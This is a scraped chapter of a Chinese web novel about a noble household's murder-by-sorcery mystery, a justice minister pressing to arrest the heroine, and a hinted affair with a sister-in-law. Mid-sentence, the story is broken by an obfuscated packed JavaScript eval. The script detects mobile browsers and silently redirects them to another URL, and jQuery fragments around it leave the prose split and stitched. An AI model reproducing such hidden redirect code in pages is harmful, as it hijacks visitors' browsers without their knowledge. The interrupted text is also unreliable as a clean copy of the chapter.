第347章 小姨子

作品:《惨死认亲日,嫡女夺回凤命杀疯了

    “四个半月前……是我母亲的生辰。”


    李灼灼站在郑氏身旁,一只手扶着摇摇欲坠的母亲,另一只手紧紧攥着衣袖,指节泛白。


    “四哥原本应该回来的。母亲生辰前一个月,他还来信说,已然向上峰请示过,要回来给母亲贺寿。


    信里写得可高兴了,说给母亲准备了云州的特产,还说……”


    她的声音微微发颤,却还是说了下去:“还说想喝母亲亲手酿的桂花酿,想了好几年了。”


    郑氏听着,身子剧烈地颤抖起来。


    她捂着嘴,泪水无声地滑落,顺着指缝一滴一滴地砸在地上。


    她没有哭出声,可那种无声的悲恸,比任何号啕都更让人心碎。


    “可后来……”李灼灼深吸一口气,“四哥又来了一封信,说军营里忙,走不开,不能回来了。


    那封信写得很短,连句囫囵话都没有,就说是军务紧急,脱不开身。


    我当时还觉得奇怪,四哥往常写信,再忙也要写满两三页纸的。”


    其他几个女眷也纷纷点头,有人小声说:“对,夫人生辰那几日,念叨了好几回,说可惜四郎不在,说桂花酿给他留着,等他回来喝……”


    白羡安若有所思地接话道:“依照澹台仙师所言,便是那时了——”


    他顿了顿,没有把话说完,但那未尽之意,在场的人都听得明白。


    便是那时,真正的李君策,**。


    谢韫玉站在一旁,脸色青一阵白一阵。


    他方才被周锐等人的死吓住了。


    那几个人当着他的面咬舌自尽,鲜血喷涌,死状惨烈。


    他这些年在外任职,虽然偶尔也见到过**,可这样诡异的情形,还是头一遭遇见。


    直到此刻,他的心跳还没完全平复下来,手心里还黏腻腻地渗着冷汗。


    他深吸一口气,努力让自己的声音平稳下来,目光扫过众人,最后落在李怀信身上。


    “此案,从头到尾,没有一件切实的证据。”


    “就像方才,大家都信了周锐的话,现在又都一股脑地相信澹台仙师。


    澹台仙师方才说的那些,什么夺舍,什么邪术,都是玄异之事,虚无缥缈,看不见摸不着。”


    “可我们办案,讲究的是人证物证,铁证如山!


    要有尸格,有口供,有契书,有往来文书,桩桩件件都要落在实处,才能写进案卷,才能呈给陛下御览!


    你们现在告诉我,这一切都是因为有人用了邪术,那我拿什么写进案卷里?写‘疑似妖邪作祟’吗?”


    他深吸一口气,目光愈发咄咄逼人:


    “如果抛开那些虚无缥缈的东西,在我看来——


    从李君策的**,到周锐临死前的指认,再到那几个亲兵的死,桩桩件件,都在指认云昭!”


    他猛地转过头,看向萧启,目光里带着几分审视,几分不服,还有几分初生牛犊不怕虎的锐气。


    “秦王殿下!我虽回京不过几日,也听说了殿下与云司主的婚约。”


    他顿了顿,一字一句道:


    “可难道就因为云昭是您未过门的王妃,就不能走正常程序,提审云昭了吗?”


    此言一出,院中所有人的目光都看向他。


    萧启的神色还算寻常,只是微微眯了眯眼。


    可李怀信的脸色,却已彻底沉了下去。


    他看着谢韫玉,目光里闪过一丝冷意。


    这是要拿他英国公府上百条人命,去跟秦王硬碰硬!


    当年的谢阁老,外圆内方,处事公允,是大晋难得的栋梁,到死都无愧于百姓对他的爱戴。


    可谢韫玉呢?他空降刑部,皇恩浩荡,虽是能臣,但心从一开始就是歪的。


    这就是当今陛下想要重用的人才。这就是陛下口中“年轻有为、可堪大用”的新秀。


    将党争置于人命之上,将意气之争置于真相之上。


    李怀信垂下眼,没有说话。


    但他的心里,却涌起一阵深深的失望。


    对谢韫玉的失望,对朝堂的失望,对……当今圣上的失望。


    他今日进宫后,亲眼瞧见了圣上封那谢灵儿为妃。那谢灵儿是什么身份?她的模样,又肖似何人?


    今上,是越来越不像话了。


    李怀信深吸一口气,压下心头的万千思绪,抬起眼,看向谢韫玉。


    “谢大人方才说的那些,本公都听见了。你要提审云昭,那是你刑部的事,本公无权干涉。”


    他顿了顿,目光如炬:


    “可这里是英国公府。死的那个,是本公的亲儿子。


    你若要提审云昭,只管拿着你的公文,去昭明阁拿人。本公不拦着。”


    他顿了顿,一字一句道:“但是,在真相没有水落石出之前,任何人都别想拿我儿子的命,去做党争的筏子。”


    谢韫玉的脸色一变。


    他没想到,李怀信竟然直接把“党争”二字,径直摆在了明面上。


    赵悉在旁叹了口气:“毕竟是谢阁老的嫡孙,咱们这位谢大人,心可高着呐!”


    谢韫玉到底脸皮薄,被赵悉这么一挤兑,脸色瞬间红涨。


    赵悉却不依不饶,继续道:“说起来,方才这周锐几个,死得可是冤啊!”


    他的声音不紧不慢,却像是一记耳光,狠狠扇在谢韫玉脸上:


    “有人要不是为了抢功,非要问那句话,他们兴许现在还活着!


    要是能沉住气,等澹台仙师把话问完,周锐必定还能吐出更多东西!


    可有的人,偏偏等不及,偏偏要显摆刑部尚书的威风,这就是结果了——”


    他伸手一指地上那几具还没来得及收敛的尸体,


    “五条人命,全死在谢大人的嘴下!咱们这位新任刑部尚书,这张巧嘴,可真是厉害!”


    谢韫玉的脸色彻底变了。


    他的嘴唇剧烈地哆嗦着,想要反驳,却一个字也说不出来。


    他知道是他那一句话,激活了那些人身上的咒。


    可他不愿认,也不能认。


    “事先又无人提醒,本官怎知哪句话能说,哪句话不能说!”


    说到这,他目光扫向一旁的澹台晏,“况且,仙师若真有本事,怎不一开始就验明他们身上有咒术在身!”


    小郑氏方才被周锐的鲜血喷了一脸,吓得瘫软在地上,好半天爬不起来,却在这时忽然开口。


    “谢大人说得没错!那些人的死,分明就是有人故意灭口!”


    她又指向澹


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17225540|187080||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    台晏,目光里满是怨毒:


    “还有你,你凭什么说四郎被人夺舍了?你分明是故意帮云昭开脱!”


    “够了!”


    郑氏忽然开口,声音沙哑却带着一股从未有过的严厉。


    小郑氏一愣,看向姐姐。


    她的眼眶还是红的,脸上还挂着泪痕,可那目光却冷得吓人,像是要把小郑氏看穿。


    “阿沅,你今日的话,未免太多了。”


    小郑氏被她这一声喝得愣住了。


    她张了张嘴,想要说什么,却被郑氏那目光逼得一个字也说不出来。


    郑氏不再看她,走到澹台晏面前,深深一福。


    “仙师。您方才说,我儿子四五个月前,已被人害死……”


    她顿了顿,喉咙里像是堵了什么东西,好一会儿才继续说下去:


    “他……您是说,他连魂魄都没有了?”


    澹台晏看着她,沉默片刻,微微点了点头。


    “依贫道所见,确实如此。”


    郑氏的身子晃了晃,却硬生生站稳了:“也就是说,周锐他们……他们说的,找了看香婆请魂,实则,都是被那夺舍我儿子的恶人给骗了?”


    澹台晏微微皱眉,没有立即回答。


    李灼灼轻声道:“娘,澹台仙师方才已经说了,他不擅长请魂问事。”


    她顿了顿,目光坚定:“娘,让女儿去昭明阁,求云司主帮忙吧!”


    小郑氏的脸色猛地一变。


    那变化极快,快到几乎捕捉不到。


    可若是有人一直盯着她,便会发现,她的瞳孔剧烈地收缩了一下,嘴唇微微哆嗦,手指不自觉地攥紧了衣袖。


    那是一种被人戳中要害之后的慌乱。


    站在一旁的萧启,将这一切尽收眼底。


    他的眸光微闪,面上却不动声色。


    就在这时,门外忽然传来一阵急促的脚步声。


    紧接着,门房的老管事跌跌撞撞地跑了进来,脸色古怪得很。


    郑氏见他这副模样,不由皱眉道:“怎么回事?别支支吾吾的!”


    老苍头咽了口唾沫,偷偷瞟了一眼小郑氏,压低声音道:


    “回……回夫人,来的是个女子,怀里抱着个婴孩。


    说是……说是给怀宁侯夫人送孩子来了。”


    小郑氏的脸色瞬间骤变,她脱口道:“你胡扯什么!”


    郑氏的目光落在她身上,那眼神里带着惊疑、审视,还有一丝隐隐的……寒意。


    萧启瞥了一眼身旁身形僵住的李怀信,微微摇了摇头。


    李怀信这人,为人刚直,骁勇善战,是难得的将才。可他实在不怎么擅长隐藏心事。


    不论之前在宫里,还是此时在府中,但凡敏锐一点的人,都能看出他和小郑氏之间不对劲。


    偏偏他还觉得自己瞒得很好。


    小郑氏寡居多年,与亲姐姐感情深厚,这原本没什么。


    可试问,谁家小姨子会在遇到事的时候,下意识往姐夫身后躲?


    谁家小姨子会在说话时,眼睛总往姐夫那边瞟?


    有些事,瞒得过家里人,瞒不过有心人。


    郑氏的眼神一怔。


    她沉默了片刻,声音平静得可怕,听不出任何情绪:


    “让人进来。”